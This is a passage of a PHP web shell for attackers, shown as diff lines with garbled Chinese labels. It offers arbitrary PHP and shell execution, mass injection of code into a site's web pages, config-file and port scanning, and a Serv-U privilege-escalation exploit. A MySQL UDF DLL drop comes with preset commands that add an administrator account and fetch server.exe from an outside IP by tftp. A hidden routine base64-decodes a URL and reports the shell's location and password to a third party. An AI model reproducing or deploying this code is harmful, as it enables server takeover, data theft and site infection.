    '); + if(!empty($_POST['sql'])){ + if (@mysql_query($_POST['sql'],$sqlcon)) { + echo "ִSQLɹ"; + }else{ + echo ": ".mysql_error(); + } + } + if($_GET['table']){ + html_n(''); + $query = "SHOW COLUMNS FROM ".$_GET['table']; + $result = mysql_query($query,$sqlcon); + $fields = array(); + while($row = mysql_fetch_assoc($result)){ + array_push($fields,$row['Field']); + html_n(''); + } + html_n(''); + $result = mysql_query("SELECT * FROM ".$_GET['table'],$sqlcon) or die(mysql_error()); + while($text = @mysql_fetch_assoc($result)){ + foreach($fields as $row){ + if($text[$row] == "") $text[$row] = 'NULL'; + html_n(''); + } + echo ''; + } + } + else{ + $query = "SHOW TABLES FROM " . $_GET['db']; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while ($row = mysql_fetch_row($dat)){ + html_n(""); + } + } + } + break; + + case "upfiles": + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(' + + + + + + + + + + + +
    '.$row['Field'].'
    '.$text[$row].'
    ".$row[0]."
    ϴļС: '.@get_cfg_var('upload_max_filesize').'
    '); + html_input("text","uppath",root_dir,"
    ϴ·: ","51"); +print<< +function addTank(){ +var k=0; + k=k+1; + k=tank.rows.length; + newRow=document.all.tank.insertRow(-1) + + newcell=newRow.insertCell() + newcell.innerHTML=" " +} + +function delTank() { + if(tank.rows.length==1) return; + var checkit = false; + for (var i=0;i +

    + + + + +
    + +
    + + + +
    ѡҪϴļ
    +END; + html_n('
    '); + if($_POST['upfiles']){ + foreach ($_FILES["upfile"]["error"] as $key => $error){ + if ($error == UPLOAD_ERR_OK){ + $tmp_name = $_FILES["upfile"]["tmp_name"][$key]; + $name = $_FILES["upfile"]["name"][$key]; + $uploadfile = str_path($_POST['uppath'].'/'.$name); + $upload = @copy($tmp_name,$uploadfile) ? $name.$msg[2] : @move_uploaded_file($tmp_name,$uploadfile) ? $name.$msg[2] : $name.$msg[3]; + echo '

    '.$upload; + } + } + } + html_n(''); + break; + + case "guama": + $patht = isset($_POST['path']) ? $_POST['path'] : root_dir; + $typet = isset($_POST['type']) ? $_POST['type'] : ".html|.shtml|.htm|.asp|.php|.jsp|.cgi|.aspx"; + $codet = isset($_POST['code']) ? $_POST['code'] : ""; + html_n('
    ļ"|",Ҳָļ.

    '); + html_input("text","path",$patht,"·Χ","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_input("text","type",$typet,"

    ļ","60"); + html_text("code","67","5",$codet); + html_n('

    '); + html_radio("","","guama","qingma"); + html_input("submit","passreturn","ʼ"); + html_n('
    Ŀļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($patht,$codet,$_POST['return'],$bool,$typet); + } + break; + + case "tihuan": + html_n('
    ˹ܿ滻ļ,Сʹ.

    '); + html_input("text","path",root_dir,"·Χ","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_text("newcode","67","5",$_POST['newcode']); + html_n('

    滻Ϊ'); + html_text("oldcode","67","5",$_POST['oldcode']); + html_input("submit","passreturn","滻","

    "); + html_n('
    Ŀļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['newcode'],"tihuan",$bool,$_POST['oldcode']); + } + break; + + case "scanfile": + css_js("4"); + html_n('
    ˹ܿɺܷMYSQLûļ,Ȩ.
    ļ̫ʱ,Ӱִٶ,ʹĿ¼.

    '); + html_input("text","path",root_dir,"·","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_input("text","code",$_POST['code'],"

    ؼ","40"); + html_select(array("--MYSQLļ--","Discuz","PHPWind","phpcms","dedecms","PHPBB","wordpress","sa-blog","o-blog"),0,"onchange='return Fulll(options[selectedIndex].value)'"); + html_n('

    '); + html_radio("ļ","","scanfile","scancode"); + html_input("submit","passreturn",""); + html_n('
    ҵļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['code'],$_POST['return'],$bool); + } + break; + + case "scanphp": + html_n('
    ԭǸ붨,鿴жϺٽɾ.

    '); + html_input("text","path",root_dir,"ҷΧ","40"); + html_input("checkbox","pass","","ʹĿ¼

    ű","",true); + html_select(array("php" => "PHP","asp" => "ASP","aspx" => "ASPX","jsp" => "JSP")); + html_input("submit","passreturn","","

    "); + html_n('
    ҵļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['class'],"scanphp",$bool); + } + break; + + case "port": + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631'; +print<< +
    ɨIP
    +
    ˿ں
    +
    + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
    '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2); + echo $fp ? 'Ŷ˿ ---> '.$ports[$i].'
    ' : 'رն˿ ---> '.$ports[$i].'
    '; + ob_flush(); + flush(); + } + echo '
    '; + } + break; + + + case "getcode": +if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

    ȡ URL ʧ

    ";exit;} +print<< +
    +
    ߴ

    • ñܽʵּ򵥵 HTTP ,ʾʹ·ͼƬӼCSSʽ.
    • ñܿͨĿURL,֧ SQL Injection ̽ԼijЩַ.
    • ñ URL,ĿµIP¼ : {$_SERVER['SERVER_NAME']}
    URL: + +
    +END; + break; + + case "servu": + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[ִ] [û] +
    +
    ServU˿
    +
    ServUû
    +
    ServU
    +END; +if($_GET['o'] == 'adduser') +{ +print<<ʺ + +Ŀ¼ +END; +} +else +{ +print<<Ȩ
    + + + +END; +} +echo '
    '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
    '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"],$errno,$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21",$errno,$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: site exec ".$_POST["SUCommand"]."
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + @fclose($exp); + } + @fclose($sock); + echo '
    '; + } + break; + + case "eval": + $phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();"; + html_n('
    д<? ?>ǩ'); + html_text("phpcode","70","15",$phpcode); + html_input("submit","eval","ִ","

    "); + if(!empty($_POST['eval'])){ + echo "

    "; + eval(stripslashes($phpcode)); + } + html_n('
    '); + break; + + case "myexp": + $MSG_BOX = 'ȵDLL,ִ.MYSQLûΪrootȨ,·ܼDLLļ.'; + $info = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Envl_Temp_Tab (envl BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Envl_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT envl FROM Envl_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'װDLLɹ' : 'װDLLʧ'; + } + else $MSG_BOX = 'DLLļʧ'; + } + else $MSG_BOX = 'дʱʧ'; + @mysql_query('DROP TABLE Envl_Temp_Tab;',$conn); + } + else $MSG_BOX = 'ʱʧ'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = 'ִгɹ'; + } + else $MSG_BOX = 'ִʧ'; + } + } + else $MSG_BOX = 'MYSQLʧ'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user envl envl /add"; + Str[2] = "net localgroup administrators envl /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -ano"; + Str[6] = "ipconfig"; + Str[7] = "net user guest /active:yes"; + Str[8] = "copy c:\\\\1.php d:\\\\2.php"; + Str[9] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[10] = "net start telnet"; + Str[11] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
    +
    {$MSG_BOX}
    +
    +˿ + + +
    +ɼ· +
    +
    װɹ
    + + + +
    +
    +END; + break; + + + case "mysql_exec": + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_eanverhost',$_POST['mhost'],$cookietime); + setcookie('m_eanverport',$_POST['mport'],$cookietime); + setcookie('m_eanveruser',$_POST['muser'],$cookietime); + setcookie('m_eanverpass',$_POST['mpass'],$cookietime); + die('ڵ½,Ժ...'); + } + } +print<< +
    ַ
    +
    ˿
    +
    û
    +
    +
    + +END; +break; + +case "mysql_msg": + $conn = @mysql_connect($_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'],$_COOKIE['m_eanveruser'],$_COOKIE['m_eanverpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "ȷҪɾ[" + unescape(msg) + "]?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (eanver BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = 'û:'.$_COOKIE['m_eanveruser'].'      ַ:'.$_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'].'      汾:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
    ݿ:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
    '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? 'ִгɹ' : 'ִʧ '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? 'ӳɹ' : 'ʧ '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '޸ijɹ' : '޸ʧ '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? 'ɾɹ' : 'ɾʧ '.mysql_error(); + } + $action = '?eanver=mysql_msg&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? 'ɾɹ' : 'ɾʧ '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
    '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
    '; + echo '
    '.$MSG_BOX.'
    '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[]
    '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
    '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
    '.$var.' '.$type.'('.$len.')
    '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
    '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $pagesize=20; + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + $numrows=$row_num; + $pages=intval($numrows/$pagesize); + if ($numrows%$pagesize) $pages++; + $offset=$pagesize*($page - 1); + $page=$_GET['p']; + if(!$page) $page=1; + + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
    '.$row['Field'].'
    ޸ '; + echo ' ɾ '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
    '; + $pagep=$page-1; + $pagen=$page+1; + echo " ".$row_num." ¼ "; + if($pagep>0) $pagenav.=" ҳ һҳ "; else $pagenav.=" һҳ "; + if($pagen<=$pages) $pagenav.=" һҳ βҳ"; else $pagenav.=" һҳ "; + $pagenav.=" [".$page."/".$pages."] ҳ ҳ"; + echo $pagenav; + echo '
    '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
    '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
    '.$name.' '.$type.'('.$len.')
    '; + } + echo '
    '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + $charset=substr($statucoll[$k],0,strpos($statucoll[$k],'_')); + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
    ַ С
    '.$table[0].' ɾ '.$statucoll[$k].''.File_Size($statusize[$k]).'
    '; + } + } + } + else die('MYSQLʧ,µ½.'); + if(!$BOOL and addslashes($query)!='') echo ''; +break; + + + default: html_main($path,$shellname); break; +} +css_foot(); + +/*---doing---*/ + +function do_write($file,$t,$text) +{ + $key = true; + $handle = @fopen($file,$t); + if(!@fwrite($handle,$text)) + { + @chmod($file,0666); + $key = @fwrite($handle,$text) ? true : false; + } + @fclose($handle); + return $key; +} + +function do_show($filepath){ + $show = array(); + $dir = dir($filepath); + while($file = $dir->read()){ + if($file == '.' or $file == '..') continue; + $files = str_path($filepath.'/'.$file); + $show[] = $files; + } + $dir->close(); + return $show; +} + +function do_deltree($deldir){ + $showfile = do_show($deldir); + foreach($showfile as $del){ + if(is_dir($del)){ + if(!do_deltree($del)) return false; + }elseif(!is_dir($del)){ + @chmod($del,0777); + if(!@unlink($del)) return false; + } + } + @chmod($deldir,0777); + if(!@rmdir($deldir)) return false; + return true; +} + +function do_showsql($query,$conn){ + $result = @mysql_query($query,$conn); + html_n('

    '); +} + +function hmlogin($xiao=1){ + @set_time_limit(10); + $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; + $serverp = envlpass; + $copyurl = base64_decode('aHR0cDovL3d3dy50cm95cGxhbi5jb20vcC5hc3B4P249'); + $url=$copyurl.$serveru.'&p='.$serverp; + $url=urldecode($url); + $re=file_get_contents($url); + +$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; +$serverp = envlpass; +if (strpos($serveru,"0.0")>0 or strpos($serveru,"192.168.")>0 or strpos($serveru,"localhost")>0 or ($serveru==$_COOKIE['serveru'] and $serverp==$_COOKIE['serverp'])) {echo "";} else {setcookie('serveru',$serveru);setcookie('serverp',$serverp);if($xiao==1){echo "";}else{geturl();}} +} + +function do_down($fd){ + if(!@file_exists($fd)) msg('ļ'); + $fileinfo = pathinfo($fd); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($fd)); + @readfile($fd); + exit; +} + +function do_download($filecode,$file){ + header("Content-type: application/unknown"); + header('Accept-Ranges: bytes'); + header("Content-length: ".strlen($filecode)); + header("Content-disposition: attachment; filename=".$file.";"); + echo $filecode; + exit; +} + +function TestUtf8($text) +{if(strlen($text) < 3) return false; +$lastch = 0; +$begin = 0; +$BOM = true; +$BOMchs = array(0xEF, 0xBB, 0xBF); +$good = 0; +$bad = 0; +$notAscii = 0; +for($i=0; $i < strlen($text); $i++) +{$ch = ord($text[$i]); +if($begin < 3) +{ $BOM = ($BOMchs[$begin]==$ch); +$begin += 1; +continue; } +if($begin==4 && $BOM) break; +if($ch >= 0x80 ) $notAscii++; +if( ($ch&0xC0) == 0x80 ) +{if( ($lastch&0xC0) == 0xC0 ) +{$good += 1;} +else if( ($lastch&0x80) == 0 ) +{$bad += 1; }} +else if( ($lastch&0xC0) == 0xC0 ) +{$bad += 1;} +$lastch = $ch;} +if($begin == 4 && $BOM) +{return 2;} +else if($notAscii==0) +{return 1;} +else if ($good >= $bad ) +{return 2;} +else +{return 0;}} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Size($size) +{ + $kb = 1024; // Kilobyte + $mb = 1024 * $kb; // Megabyte + $gb = 1024 * $mb; // Gigabyte + $tb = 1024 * $gb; // Terabyte + if($size < $kb) + { + return $size." B"; + } + else if($size < $mb) + { + return round($size/$kb,2)." K"; + } + else if($size < $gb) + { + return round($size/$mb,2)." M"; + } + else if($size < $tb) + { + return round($size/$gb,2)." G"; + } + else + { + return round($size/$tb,2)." T"; + } + } + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} + +function do_phpfun($cmd,$fun) { + $res = ''; + switch($fun){ + case "exec": @exec($cmd,$res); $res = join("\n",$res); break; + case "shell_exec": $res = @shell_exec($cmd); break; + case "system": @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "passthru": @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024);} @pclose($f);break; + } + return $res; +} + +function do_passreturn($dir,$code,$type,$bool,$filetype = '',$shell = my_shell){ + $show = do_show($dir); + foreach($show as $files){ + if(is_dir($files) && $bool){ + do_passreturn($files,$code,$type,$bool,$filetype,$shell); + }else{ + if($files == $shell) continue; + switch($type){ + case "guama": + if(debug($files,$filetype)){ + do_write($files,"ab","\n".$code) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "qingma": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,'',$filecode); + do_write($files,"wb",$newcode) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "tihuan": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,$filetype,$filecode); + do_write($files,"wb",$newcode) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "scanfile": + $file = explode('/',$files); + if(stristr($file[count($file)-1],$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
    '; + } + break; + case "scancode": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
    '; + } + break; + case "scanphp": + $fileinfo = pathinfo($files); + if($fileinfo['extension'] == $code){ + $filecode = @file_get_contents($files); + if(muma($filecode,$code)){ + html_a("?eanver=editr&p=".urlencode($files),"༭"); + html_a("?eanver=del&p=".urlencode($files),"ɾ"); + echo $files.'
    '; + } + } + break; + } + } + } +} + + +class PHPzip{ + + var $file_count = 0 ; + var $datastr_len = 0; + var $dirstr_len = 0; + var $filedata = ''; + var $gzfilename; + var $fp; + var $dirstr=''; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function startfile($path = 'QQqun555227.zip'){ + $this->gzfilename=$path; + $mypathdir=array(); + do{ + $mypathdir[] = $path = dirname($path); + }while($path != '.'); + @end($mypathdir); + do{ + $path = @current($mypathdir); + @mkdir($path); + }while(@prev($mypathdir)); + + if($this->fp=@fopen($this->gzfilename,"w")){ + return true; + } + return false; + } + + function addfile($data, $name){ + $name = str_replace('\\', '/', $name); + + if(strrchr($name,'/')=='/') return $this->adddir($name); + + $dtime = dechex($this->unix2DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + + $datastr = "\x50\x4b\x03\x04"; + $datastr .= "\x14\x00"; + $datastr .= "\x00\x00"; + $datastr .= "\x08\x00"; + $datastr .= $hexdtime; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + $datastr .= pack('v', strlen($name)); + $datastr .= pack('v', 0); + $datastr .= $name; + $datastr .= $zdata; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + + + fwrite($this->fp,$datastr); + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x14\x00"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x08\x00"; + $dirstr .= $hexdtime; + $dirstr .= pack('V', $crc); + $dirstr .= pack('V', $c_len); + $dirstr .= pack('V', $unc_len); // uncompressed filesize + $dirstr .= pack('v', strlen($name) ); // length of filename + $dirstr .= pack('v', 0 ); // extra field length + $dirstr .= pack('v', 0 ); // file comment length + $dirstr .= pack('v', 0 ); // disk number start + $dirstr .= pack('v', 0 ); // internal file attributes + $dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set + $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header + $dirstr .= $name; + + $this->dirstr .= $dirstr; //Ŀ¼Ϣ + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function adddir($name){ + $name = str_replace("\\", "/", $name); + $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + $datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $datastr .= pack("v", 0 ).$name.pack("V", 